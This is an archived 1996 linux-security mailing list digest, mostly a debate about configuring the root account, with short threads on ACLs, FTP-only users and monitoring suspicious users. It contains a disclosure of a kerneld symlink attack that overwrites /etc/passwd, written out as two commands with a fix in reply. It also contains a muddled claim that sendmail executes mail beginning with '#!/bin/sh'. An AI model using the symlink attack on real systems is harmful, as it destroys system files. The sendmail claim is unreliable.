REALLY have to do something as root. Having some 'nice' environment helping you mistyping some /too/lenghty/paths/to/be/remembered/correctly is not a bad idea. - I have seen systems, that put '.' in the path of EVERY users (including root) by default, with no ways to change it by some system-wide config file. The only way to prevent root from having '.' in path is then initializing path in .cshrc or .profile (Well.. I know root's shell should be /sbin/sh, but I usually also have another root account (say 'rootts') which is a bit more customized to make doing regular administration tasks easier - having a single home for all root accounts simplifies taking care of security) - Setting prompt to explicitly tell you the machine name, the directory and that you have the root power, also prevents many mistakes (like deleting the right file in the right place, but on the wrong machine). - When you have cow-orkers having root privileges too, it is also a good idea to have a .history or .bash_history file which can tell you what has been done recently (not a big win, but can help anyway). > another, equally important issue, is the use of dotfiles. root shouldn't > have any. *any.* since root's shell should be /bin/sh, .cshrc does you > no good. and .profile can only muck things up... having anything other > than /usr/bin:/usr/sbin in your path can be a security hole, root What about /usr/local/sbin (if you start putting some nonstandard sysadm-oriented files there) and /sbin? What about the .ssh directory? What if your machine runs constatntly xdm on the console and you cannot login as root inthe 'text mode' but only in X11 session? > shouldn't have aliases, environment variables can be set by hand after you > log in. fancy prompts and "alias rm='rm -i'" can only muck things up, > espically if multiple users share the root account. I agree with you about this 'alias rm' example, but there are other, that are really useful and cannot do any harm. Like 'alias mc mv' to prevent you from running midnight commander when you mistype 'mv'. And typing 'alias ll ls -al' every time I do a 'su' does not seem very conveneint to me... Also - one of my favourite ways to move around the filesystem is to have a set of: set uucp=/usr/spool/uucp set uucfg=/usr/local/lib/uucp/config ... statements and the using 'cd $uucp' to jump there. The less you type, the less can you mistype... having a reasonable set of aliases, variables and paths can only prevent you from doing something bad. (and I really like to have 'setenv TAPE /dev/rmt/0n' on Solaris in order NOT to rewind the tape and overwrite the last backup, when I mistakenly forget to put the right device name to 'mt' or 'tar'...) > root also doesn't need to have personal filespace... remember the whole > filesystem is his personal files space. old .tar.gz files can be stored > in /usr/local/src, etc etc... Generally - yes, but then - I also have some scripts (like adding a new user, cleaning some old unnecessary logs, backing up the system, etc.), which really do not need to be seen by other users, so they end up in ~root/bin. > and remember, root should not be too comfortable. if you have to type > /usr/local/sbin/my_strange_script all the time, you're less apt to run the > wrong one by accident. plus, the less time you spend as root, the better. But you are more prone to end up typing it twice or even more times, if you don't get the right path the first time. > > [1] BTW. I once had to clean the mess after the wanna-be system > > administrator, who after discovering that root's home was /root (on a ... > sounds horrible. couldn't we all avoid this type of stuff by (1) keeping > the root password out of the hands of morons, and (2) putting the root of > the filesystem where it ought to be. Well, he was supposed to learn more before doing things like that, but (1) - it was his system, not mine, (2) - people like this one will always find another way to 'rm -rf /tmp/.*' or something like this. (BTW. How can you put 'the root of the file system' somewhere other than '/'? ;-) ) > on my linux boxen, i usually move root's home dir to / pretty early on. > helps keep me out of bad habits, too. Well.. I would say that there are pros and cons for both approaches and I would stick to what I am already used to :-) Tomasz -- _________ (_ _' __) Tomasz R. Surmacz *---* Work:(071)202636, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ *----* Home: [email protected] |__(____/ For PGP key finger [email protected] *---* irc: TomekS From [email protected] Wed Jun 12 17:46:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA01218; Wed, 12 Jun 1996 17:46:49 -0400 Date: Tue, 11 Jun 1996 23:44:28 -0400 (EDT) From: Sanjay Kapur X-Sender: [email protected] Reply-To: Sanjay Kapur To: Rogier Wolff cc: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 11 Jun 1996, Rogier Wolff wrote: > To do this, every uid should get > a bitvector of privileges. Every "suser()" call in the > kernel should get mapped to one of the bits. The default > setup sets all of these bits to "enabled" for "root" and > "disabled" for all other users. > > A secure setup would deminish the vector for "root"(?) and increase > it for other users. (e.g. the "bind to low ports" bit and the > "change uid to normal uids" bit should be on for "sendmail" > running as user "mailerdeamon") The login program only needs > change_uid (even to root? Maybe not. Abolish root logins!) [Mod: Quoting trimmed. --Jeff] VMS, Secure VMS etc. have this and it is very well documented. Another thing that higher level security requires is Access Control Lists (ACLs) rather than the very simplistic user/group/world security model of Unix. Security is not a question of technology or using a string "root" to log on but a frame of mind and a set of procedures. Large systems security policies, although nice just do not apply to single user systems. If it did, Bill Gates would not be worth $17 billion selling over 60 million copies of Windows and MSDOS every year. Sanjay Kapur From [email protected] Wed Jun 12 18:10:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA01347; Wed, 12 Jun 1996 18:10:38 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] Date: Wed, 12 Jun 1996 09:37:16 +0200 (METDST) Cc: [email protected], [email protected] In-Reply-To: from "Sanjay Kapur" at Jun 11, 96 11:44:28 pm From: [email protected] (Rogier Wolff) X-Return-Receipt-To: [email protected] X-Priority: 1 X-Mailer: ELM [version 2.4 PL25] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1693 Sender: [email protected] Precedence: list > > On Tue, 11 Jun 1996, Rogier Wolff wrote: > > > > > To do this, every uid should get > > a bitvector of privileges. Every "suser()" call in the > > kernel should get mapped to one of the bits. The default > > setup sets all of these bits to "enabled" for "root" and > > "disabled" for all other users. > > VMS, Secure VMS etc. have this and it is very well documented. Another > thing that higher level security requires is Access Control Lists (ACLs) > rather than the very simplistic user/group/world security model of Unix. Agreed. Is Remi Card on this list? We should try to push him to implement ACLs finally... (Or was I at the north pole while it was implemented :-) [Mod: Remy's not on this list (that I know of, though he might be on it via a secondary exploder), but he is working in this direction. See linux.nrao.edu:/pub/linux/packages/ext2fs/slides/berlin96/acl-* (mirrored from tsx-11) for a brief outline of his current ACL work. --Jeff.] > Security is not a question of technology or using a string "root" to log > on but a frame of mind and a set of procedures. Large systems security > policies, although nice just do not apply to single user systems. If it > did, Bill Gates would not be worth $17 billion selling over 60 > million copies of Windows and MSDOS every year. Aha! Yes Agreed. As Domain/OS users will know, ACLs are a superset of the old-fashioned user/group/others permission bits. I am suggesting to implement the kernel level support for good security, not that I want to push it onto every single Linux user. There are lots of features that normal home-users won't use (firewalling for instance). Roger. -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** From [email protected] Wed Jun 12 18:11:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA01363; Wed, 12 Jun 1996 18:11:37 -0400 Date: Wed, 12 Jun 1996 13:17:01 +0100 (BST) From: Chris Evans To: Rogier Wolff cc: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 11 Jun 1996, Rogier Wolff wrote: > The "Almighty" "root" account has lots of privileges. > (override filesystem permissions, access to IO ports, etc > etc.). This should be abolished. > > To do this, every uid should get > a bitvector of privileges. Every "suser()" call in the > kernel should get mapped to one of the bits. The default > setup sets all of these bits to "enabled" for "root" and > "disabled" for all other users. Here, you are referring to something very similar to POSIX.6 (or whatever the new name for this is). It's already being worked on, and there is a preliminary patch available.... keep a look out during 2.1 development. If you're interested in contributing to this system, drop a mail on linux-kernel mentioning this, and I'm sure the person working on it will contact you. I think his name was "Darren Moffat". Chris. From [email protected] Wed Jun 12 18:12:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA01381; Wed, 12 Jun 1996 18:12:43 -0400 X-Authentication-Warning: evol.netline.net: Lucas owned process doing -bs Date: Wed, 12 Jun 1996 00:19:28 -0400 (EDT) From: Synthesizer Punk X-Sender: [email protected] To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 10 Jun 1996, Matthew J. Hill wrote: > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? there is no reason for this. in fact, i > think it can be a *big* detriment in some cases. people *have* to > remember that root is *not* a user account, and there fore should not have > any user files. root is a thing, not a person, a way of doing things that > cannot be done any other way. root's mail should be aliased to the > sysadmin. root should never be in a mailer, a newsreader, or any other > program it doesn't have to use to maintain the system. this basically > amounts to mv, cp, ln, ch[own,mod,grp] and a few others. I'm just a lurker, but a topic of my interest has risen, so I procede to interject... The root account is nothing but an administration tool. Whomever it was in the above quote (in my haste to prepare my mail, I didn't take heed to who it was, but credit for the sensible knowledge is due) has the right idea. I often time see people using IRC from root, which truely disgusts me. Why compromise security like that? Do not read mail from root, don't do user-things as root, and please dear god don't IRC as root. All of those previous mentioned could make you a sitting target for a wily cracker or a caniving prank. the root account is for doing things that regular users shouldn't be able to, a hidden command to create/destroy things. Do as you wish, but you only compromise security. I don't suggest putting root under /home on large or multi partitioned systems, especially ones that partition /home. If /home/root is' UID 0's home dir, what would you do if /home wasn't mountable if you gave the 3 finger salute? Not login, for the most part. 8^) But, as I've said before, it's up to you. Part of the joy of linux, among other unices is the fact that you can do one trivial task a million different ways. This is ONE thing that should never be changed. . - -- -- -------__--__------------------__---.-- - - - -- ----- --- ----. : ___ __ _____ / /_/ / ___ __ _____ / /__ : mailto:[email protected] : |(_- Date: Tue, 11 Jun 96 14:59 PDT From: Woody Weaver To: [email protected] In-reply-to: <[email protected]> (message from Jeff Uphoff on Mon, 10 Jun 1996 14:55:05 -0400) Subject: Re: [linux-security] Admin note (recent traffic surge). Sender: [email protected] Precedence: list From: Jeff Uphoff 2) A thread with highly "religious" and contentious aspects: uid/gid ownership of system files, configuration of the root account, etc.... ... I think it's fairly safe to say that most everyone already has a slightly different approach to this, that there is no "One True Answer," and that this thread is a good (though voluminous!) "airing out" of these different ideas and opinions. I have one question about uid 0 accounts. Of course one wants to give minimum permissions to accounts, and the more uid 0 passwords floating around the more risks one takes. Generally, the "all the eggs in one basket and watch that basket very closely" is a good idea. However, as one author noted, if you permit a novice to su and do work, there is a possibility that they might do something that prevents normal use of the system, such as accidentally changing the root password. My solution, of course, is just to have a separate boot media handy; given that I'm running linux on a PC, its easy to boot off of floppy and mount the main file system on a convenient mount point -- physical security beats software security. But some linux boxes may be in inconvient locations, or be hardware modified as to be unable to boot from floppy. It is reasonable to have two uid 0 accounts? The idea is to minimize risk but not permit single points of failure. The downside, of course, is that with both "root" and "tuber" things like ftp or nfs access to tuber do not have built in protection as it does against root, so ideally one would have to patch daemons to recognize both accounts as special (or get the authors to protect against uid 0 accounts rather than a specific username). Is there another risk I'm missing? --woody -- Robert Wooddell Weaver office: 510-631-4416 Department of Mathematical Sciences home: 510-595-9451 St. Mary's College of California fax: 510-376-4027 Moraga, CA 94575 From [email protected] Wed Jun 12 18:13:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA01413; Wed, 12 Jun 1996 18:13:52 -0400 Message-Id: From: Lars Wirzenius To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? In-reply-to: Your message of "Tue, 11 Jun 1996 12:12:29 EDT." <[email protected]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 11 Jun 1996 23:07:46 +0300 Sender: [email protected] Precedence: list Jeff Uphoff: > A bit of disagreement here too: I find a prompt that really stands out > and SHOUTS a constant reminder that the uid is 0 to be A Good Thing. Similarly, I have an xterm running a root shell. It uses red as the background color. My usual xterms have a white background. The root xterm is ugly as hell. This means I avoid using it, unless I have to, and it is really difficult to use it by mistake. From [email protected] Wed Jun 12 18:14:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA01434; Wed, 12 Jun 1996 18:14:31 -0400 Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Matthew J. Hill) Date: Tue, 11 Jun 1996 14:28:47 -0700 (PDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Matthew J. Hill" at "Jun 10, 96 09:34:57 pm" X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1869 Message-Id: From: John Henders Sender: [email protected] Precedence: list Matthew J. Hill writes: > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? there is no reason for this. in fact, i > think it can be a *big* detriment in some cases. people *have* to > remember that root is *not* a user account, and there fore should not have > any user files. root is a thing, not a person, Having been a system administrator for a moderate sized ISP for a few years now, I'd have to say that while this may be true for your reality, it certainly isn't for mine. Testing a user's mailbox with elm, a common thing to do in my job, creates a Mail directory for you, unless you want to constantly be asked by elm every time it runs if it should create one. I'd rather have that stuck in a directory rather than cluttering up my root directory. >..... root > shouldn't have aliases, environment variables can be set by hand after you > log in. fancy prompts and "alias rm='rm -i'" can only muck things up, > espically if multiple users share the root account. > Fancy prompts can serve as a visual reminder that you are root. It's also a lot less likely you'll make the previously quoted mistake of a deletion in the wrong directory if you have the $CWD in your prompt. And, if you are used to a customized environment in your user account, not carrying those aliases into your root shell can lead to errors as well. Of course I've met people who therefore never customise their normal environment either, but as far as I can see, that just means they can't take advantage of a lot of the power using unix gives you. -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* From [email protected] Wed Jun 12 18:15:27 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA01451; Wed, 12 Jun 1996 18:15:27 -0400 Date: Tue, 11 Jun 1996 17:26:01 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? Sender: [email protected] Precedence: list > > Why? Does root's home directory really need to be / ? It's really > > annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history > > (etc.) files and directories, ... > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? ... > .. people *have* to > remember that root is *not* a user account, and there fore should not have > any user files. root is a thing, not a person, a way of doing things that > cannot be done any other way. ... Quite so. Exactly. However, I would say that ".profile", ".postfile", and ".kshrc"-type files, or ".login", ".logout", and ".cshrc"-type files for root can be used to enhance the security of the system, as long as there is an explicit agreement NOT to muck with them once they're properly set up. They should remove "." from your $PATH (if your 'su' doesn't do that already), and add directories where specifically system-related commands are stored (e.g., /sbin, /usr/sbin). They may even regulate access, change umask, log access, and do other such things. > ... root's mail should be aliased to the > sysadmin. root should never be in a mailer, a newsreader, or any other > program it doesn't have to use to maintain the system. this basically > amounts to mv, cp, ln, ch[own,mod,grp] and a few others. Yes! > another, equally important issue, is the use of dotfiles. root shouldn't > have any. *any.* ... Wow! A person who's more dogmatic than I! [;-)] See my opinions above. > root also doesn't need to have personal filespace... remember the whole > filesystem is his personal files space. old .tar.gz files can be stored > in /usr/local/src, etc etc... Yes and no. I quote, > remember that root is *not* a user account, and there fore should not have > any user files. The filesystem is NOT root's personal file space. Root has no personal files. All of the files are either system files, files for a specific application, or files for a specific user. Which, I think, is what you REALLY meant (if I may be so bold). > and remember, root should not be too comfortable. if you have to type > /usr/local/sbin/my_strange_script all the time, you're less apt to run the > wrong one by accident. ... I would not be quite so harsh. Remember, personal comfort is part of Maslow's hierarchy of needs (can't believe I'm quoting him now!): if the lesser needs are taken care of, the person can better concentrate on the more cerebrate needs, namely the task at hand. (And I'm not one for needless comforts - I did go to school at a Benedictine monastery. [;-)]) > ... plus, the less time you spend as root, the better. Yes! Absolutely! The whole point behind this entire thread! > sounds horrible. couldn't we all avoid this type of stuff by (1) keeping > the root password out of the hands of morons, ... Desirable, but not always feasible in the work arena. > ..., and (2) putting the root of > the filesystem where it ought to be. > on my linux boxen, i usually move root's home dir to / pretty early on. > helps keep me out of bad habits, too. I think that HERE is the basic confusion that a couple of people have expressed. The root of the file system is always "/". That is not changeable. Well, yes, you could call chroot(). Don't confuse me, I'm on a roll. [;-)] The home directory of the root account is ... well, wherever it's put. It's not necessarily identical to the root of the file system, although a good many Unix and Unix-like systems have traditionally placed it there. I have always left it wherever the installation program put it: perhaps I have been being lazy. Certainly, this sub-thread of the main thread has presented arguments that to me are cogent and compelling for putting it elsewhere than "/". If you 'su' to "root", or (horrors!) go to the console and log in as "root", and need to do something from the root of the file system, it's easy enough to say "cd /". Joe Yao [email protected] - Joseph S. D. Yao linux-security/linux-security.960613100664 1767 1767 23000 6160064276 16645 0ustar majdommajdomFrom [email protected] Thu Jun 13 12:06:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA09925; Thu, 13 Jun 1996 12:06:33 -0400 Message-Id: <[email protected]> X-Sender: [email protected] X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 08 Jun 1996 13:21:37 -0400 To: [email protected] From: "Douglas F. Elznic" Subject: [linux-security] suspicious users Sender: [email protected] Precedence: list I am becoming suspicious of some users on my system. I am wondering what is the best way to watch what they do or have done. What have you (the members of list) done to "babysit" these users. -- ==================Douglas Elznic=================== [email protected] http://www.axess.net/~delznic/ <315.682.5489> <315.682.1647> Pager: <315.241.2056> 4877 Firethorn Circle Manlius, NY 13104 "Challenge the system, question the rules." =================================================== PGP key available: http://www.axess.net/~delznic/pgpkey.asc PGP Fingerprint: 68 6F 89 F6 F0 58 AE 22 14 8A 31 2A E5 5C FD A5 =================================================== From [email protected] Thu Jun 13 12:16:20 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA10149; Thu, 13 Jun 1996 12:16:20 -0400 Message-Id: <[email protected]> Subject: [linux-security] Big security hole in kerneld's request_route To: [email protected], [email protected], [email protected], [email protected] Date: Wed, 12 Jun 1996 23:21:02 -0500 (CDT) Reply-To: [email protected] (Igor Chudov) From: [email protected] (Igor Chudov @ home) X-Mailer: ELM [version 2.4 PL24 ME7] Content-Type: text Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi, I was just looking at sources of newly released linux 2.0. In modules-1.3.69k, in kerneld's subdirectory, there is a file request_route.sh (see below). It's supposed to run as root, whenever a route is requested. It is supposed to start pppd or something like that. As it appears, it is possible to destroy system philes (such as /etc/passwd and so on). Condition: you must have a system which has "on-demand loading" of pppd, whenever a route is requested. Exploit: you $ ln -s /etc/passwd /tmp/request-route you$ ping 204.251.80.30 Internally kerneld starts request_route, request_route writes pid to the symlinked file, and the file pointed to by symlink is overwritten. Did I miss something? - Igor. #! /bin/sh LOCK=/tmp/request-route PATH=/usr/sbin:$PATH # for ppp-2.2* export PATH # Note: you are _not_ forced to use ppp! # You can do whatever you want in order to satisfy the kernel route request. # It might be a good idea to set up the route as the default route, in case # you are using e.g. slip or plip or any other net driver... # # This script will be called from kerneld with the requested route as $1 # Create a chat script for your nameserver (as defined in /etc/resolv.conf) # chatfile=/etc/ppp/chat.$1 if [ -f $chatfile ] then # # Tune your favourite parameters to pppd, including the idle-disconnect option. # Kerneld will be automatically triggered to load slhc.o and ppp.o # pppd connect "chat -f $chatfile" /dev/modem 38400 \ idle-disconnect 600 modem defaultroute noipdefault \ & # let pppd detach itself whenever it wants to... # # Timer to be killed by ip-up, tunable! Check kerneld delay as well # sleep 60 & sleepid=$! echo $sleepid > $LOCK wait $sleepid rm -f $LOCK exit 0 else exit 1 fi -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMb+XDMJFmFyXKPzRAQHLzwP9HAD/WCkirGpBUjLXIdcmhQcQMf3eJMDk Y5tU/7KkXR2afOmEncZEQs57FOhHaVtDiAMZ0B25Dn0ef6qhbYSS3wjzjh2V8m0d OHxnoRHTSApM1mQA2WFPYkzfqmFHXzQBHur6xNkl6JcJ9FiLFSQp3cQBjgcafX0C CaDXkJNTNSI= =8zfD -----END PGP SIGNATURE----- From [email protected] Thu Jun 13 12:17:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA10171; Thu, 13 Jun 1996 12:17:41 -0400 Date: Thu, 13 Jun 1996 09:07:30 -0400 (EDT) From: Jacques Gelinas To: [email protected] cc: [email protected], [email protected], [email protected] Subject: [linux-security] Re: Big security hole in kerneld's request_route In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 12 Jun 1996 [email protected] wrote: [Mod: Quoting trimmed. --Jeff.] > I was just looking at sources of newly released linux 2.0. > In modules-1.3.69k, in kerneld's subdirectory, there is a file > request_route.sh (see below). It's supposed to run as root, whenever > a route is requested. It is supposed to start pppd or something like > that. > > As it appears, it is possible to destroy system philes (such as /etc/passwd > and so on). The path should be changed to /var/run/request-route.pid It is unfortunate that there is no cleaner way to wait for pppd's success or failure. I mean to do something as simple as if /usr/sbin/pppd ... then echo ok else echo failure fi pppd just fork (goes in background) to soon. Maybe there is already an option. -------------------------------------------------------- Jacques Gelinas ([email protected]) Use Linux without reformating: Use UMSDOS. From [email protected] Thu Jun 13 15:14:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA13401; Thu, 13 Jun 1996 15:14:48 -0400 From: Al Longyear To: "Douglas F. Elznic" , linux-security Subject: RE: [linux-security] suspicious users Date: Thu, 13 Jun 96 11:30:00 PDT Message-ID: <[email protected]> Encoding: 47 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list You can use the ttysnoop code to look at their output and watch the keystrokes. Use either the ttysnoop or the corresponding telnet version. Both programs are on sunsite. You need to know which tty line they are using and when they are connected. However, if your system is properly secured then there is little that they can do to mess it up. If they do, then you have problems with your system and not really the user. You would need to re-examine the permissions and the protections and the passwords which you use. It is your responsibility to ensure the security of the system. If you truly don't trust the users and have some basis for this distrust then you have two real options: 1. Get rid of the users. Ask them to go someplace else. That's the easiest part. or, 2. If you can't do that, then you just need to live with the situation. (The reason for this is usually that you are providing computing services for your company.) Try to convince the users that it is in their best interest to simply do their job and not attempt to mess things up. Believe me, I know, sometimes it is hard to do. (Having 'firing' authority for security breakins helps a lot when you attempt to convince the users!!) However, above all, run the cops and tripwire code on your system. It will tell you if they have messed with anything important. Both of these are in the UNIX security archive ftp sites (not sunsite, nor tsx-11, but the 'real' ones. :) ) p.s.: suspicion != proof ---------- From: Douglas F. Elznic[SMTP:[email protected]] Sent: Saturday, June 08, 1996 1:21 PM To: linux-security Subject: [linux-security] suspicious users I am becoming suspicious of some users on my system. I am wondering what is the best way to watch what they do or have done. What have you (the members of list) done to "babysit" these users. From [email protected] Thu Jun 13 15:15:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id PAA13419; Thu, 13 Jun 1996 15:15:05 -0400 Message-Id: <[email protected]> Date: Thu, 13 Jun 1996 21:03:11 +0200 From: [email protected] (Felix von Leitner) To: [email protected] (Woody Weaver) Cc: [email protected] Subject: Re: [linux-security] Admin note (recent traffic surge). In-Reply-To: ; from Woody Weaver on Jul 11, 1996 14:59:00 -0700 References: X-Mailer: Mutt 0.31 Mime-Version: 1.0 X-Dogma: Barney must die, all else is irrelevant Sender: [email protected] Precedence: list Thus spake Woody Weaver ([email protected]): > It is reasonable to have two uid 0 accounts? The idea is to minimize > risk but not permit single points of failure. The downside, of > course, is that with both "root" and "tuber" things like ftp or nfs > access to tuber do not have built in protection as it does against > root, so ideally one would have to patch daemons to recognize both > accounts as special (or get the authors to protect against uid 0 > accounts rather than a specific username). The NFS protection is against UID 0, not against the user name "root". Felix linux-security/linux-security.960614100664 1767 1767 3174 6160276443 16641 0ustar majdommajdomFrom [email protected] Fri Jun 14 10:54:24 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA20226; Fri, 14 Jun 1996 10:54:24 -0400 Message-Id: Subject: Re: [linux-security] standard users,groups,perms? To: [email protected] (Adam Prato) Date: Thu, 13 Jun 1996 01:18:00 +0200 (MDT) From: "Daniel Roedding" Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Adam Prato" at Jun 8, 96 05:31:32 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 882 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hi! Adam wrote: > Could you please explain the benefits of not having root owned files on a > system? This concept seems to elude me. One some systems it make sense to maintain /usr/local by a group of non-root users. (We've got group "localbin"-writeable /usr/local/bin directories on some systems here, which makes sense if a team of administrators manage a bunch of Linux boxes together) But root on such a machine really should never use anything from the /usr/local tree then... Daniel - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de -----BEGIN PGP SIGNATURE----- Version: 2.6 iQBVAgUBMb9QJGaWRTqP6nZNAQEVpwIAjodt+rRxFTXmOuiCeIhEiqmXEUVb+jyX MJpGK1JxFEjmenoSxt7fLMJEB3iNnp0uW+9WNI8Tw75TgBU3EJdwqQ== =tY/r -----END PGP SIGNATURE----- linux-security/linux-security.960616100664 1767 1767 46177 6161055027 16667 0ustar majdommajdomFrom [email protected] Sun Jun 16 14:39:02 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00075; Sun, 16 Jun 1996 14:39:02 -0400 Date: Thu, 6 Jun 1996 09:20:20 -0400 (EDT) From: Richard Jones X-Sender: [email protected] To: [email protected] Subject: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi. I'm trying to use the wu.ftp ftpaccess file to setup a guestgroup whereby users with listings in the /etc/passwd file can upload to certain sections of a Linux-based web site. However, I'd like to deny these people telnet access. In ftpaccess I use the line: guestgroup ftponly ftponly is defined as a group in /etc/group and its users have /etc/passwd entries that look like: ftponlyuser1:sladfkj:12:324:FTP ONLY:/usr/ftp/./user1s_ftp_dir/:bin/false This is straight out of O'Reilly's Managing Internet Info. Services. This doesn't work for me, though. With a shell set to /bin/false a user is not allowed to ftp login. Is this a Linux thing? The user can ftp login with /bin/bash or some other viable shell, but this opens up telnet ability to the user (I can't use /etc/hosts.deny because it's too coarse). Any insights into this situation, or other ideas on how to achieve full ftp access with no telnet access is greatly appreciated. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Richard W. Jones [email protected] Distributed Systems Graduate Assistant SUNY Albany -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- From [email protected] Sun Jun 16 14:39:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00096; Sun, 16 Jun 1996 14:39:12 -0400 Content-Length: 313 Message-ID: X-Mailer: XFMail 0.3 [p0] on Linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Reply-To: [email protected] Date: Wed, 12 Jun 1996 22:00:31 EDT From: Justin Dobbs To: [email protected] Subject: [linux-security] Talk security? Sender: [email protected] Precedence: list Hello, Are there any security holes associated with making the talk program the shell of a potentially public account? The shell would be /usr/bin/talk , with /usr/bin/talk listed in the /etc/shells file. Is there a potential for environment-style breakins? TIA, Justin Dobbs From [email protected] Sun Jun 16 14:40:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA00120; Sun, 16 Jun 1996 14:40:52 -0400 Message-ID: <[email protected]> Date: Thu, 13 Jun 1996 00:27:57 -0400 From: Renegade X-Mailer: Mozilla 3.0b3 (X11; I; Linux 1.3.20 i586) MIME-Version: 1.0 To: [email protected] Subject: Re: [linux-security] standard users,groups,perms? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Synthesizer Punk wrote: > > > The root account is nothing but an administration tool. Whomever > it was in the above quote (in my haste to prepare my mail, I didn't take > heed to who it was, but credit for the sensible knowledge is due) has the > right idea. I often time see people using IRC from root, which truely > disgusts me. Why compromise security like that? Do not read mail from > root, don't do user-things as root, and please dear god don't IRC as root. > All of those previous mentioned could make you a sitting target for a wily > cracker or a caniving prank. the root account is for doing things that > regular users shouldn't be able to, a hidden command to create/destroy > things. Do as you wish, but you only compromise security. I would have to agree. But I would like to point out at least one thing that can be done for root mail security. Many sendmail implementations have a dangerous default setup that amounts to a line like this in the sendmail.cf file: Mprog, P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/, Basically if a e-mail message begins like a sh shell script with a first line of: #!/bin/sh The email will be executed as a shell script (At the time it is read). Now, if you are reading mail as root: BOOOOOOOM! The shell script could open security holes and then erase itself so that you don't even know what it did. It could e-mail password files to the perpetrator, and many other nasties. One good solution is to replace the "/bin/sh" in the Mprog line to "/bin/false" or something similar. Another good idea is to use the /etc/alias file to make all mail that is not addressed to an actual person go to the system administrator. I do this on all the systems I administer at work. All mail to root, lp, postmaster, etc. all alias to 